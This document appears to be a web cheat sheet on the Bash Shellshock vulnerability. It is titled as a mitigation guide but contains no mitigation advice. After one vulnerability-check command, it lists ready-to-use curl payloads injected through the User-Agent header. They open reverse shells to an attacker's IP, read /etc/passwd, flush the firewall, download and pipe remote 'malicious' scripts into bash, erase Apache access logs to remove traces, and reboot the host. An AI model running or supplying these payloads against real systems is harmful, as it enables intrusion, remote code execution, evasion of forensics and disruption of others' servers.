Shellshock Techniques: Understanding and Mitigating Bash Vulnerabilities
Discover various Shellshock techniques to understand and mitigate vulnerabilities in Bash scripts. This guide provides insights into checking for vulnerabilities, preventing remote code execution, disabling firewalls, downloading files, performing system actions, and more. Safeguard your systems by understanding and addressing potential risks associated with Shellshock vulnerabilities.
Check for Vulnerability
- This command can help in checking if a system is vulnerable to Shellshock.
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Exploit to Get Shell
' Replace <TARGET_URL> with the actual URL that is vulnerable.
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1" <TARGET_URL>
Remote Code Execution
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" <TARGET_URL>
Dump /etc/passwd
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'" <TARGET_URL> -o /path/to/outputfile.txt
Disable Firewall (iptables)
curl -H "User-Agent: () { :;}; /sbin/iptables -F" <TARGET_URL>
Download a File
curl -H "User-Agent: () { :; }; /bin/bash -c 'wget http://example.com/maliciousfile -O /tmp/maliciousfile'" <TARGET_URL>
Execute a Script from a Remote Server
curl -H "User-Agent: () { :; }; /bin/bash -c 'curl http://example.com/malicious-script.sh | bash -'" <TARGET_URL>
Cleanup Apache Logs to Remove Traces
Replace /var/log/apache2/access.log with the path to the actual Apache log files.
curl -H "User-Agent: () { :; }; /bin/bash -c '> /var/log/apache2/access.log'" <TARGET_URL>
Perform a Reboot
curl -H "User-Agent: () { :; }; /sbin/reboot" <TARGET_URL>
Make a Reverse Shell Connection
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<YOUR-IP>/<YOUR-PORT> 0>&1" <TARGET_URL>
Check System Information
curl -H "User-Agent: () { :; }; /bin/bash -c 'uname -a'" <TARGET_URL>
Dump Environment Variables
curl -H "User-Agent: () { :; }; env" <TARGET_URL>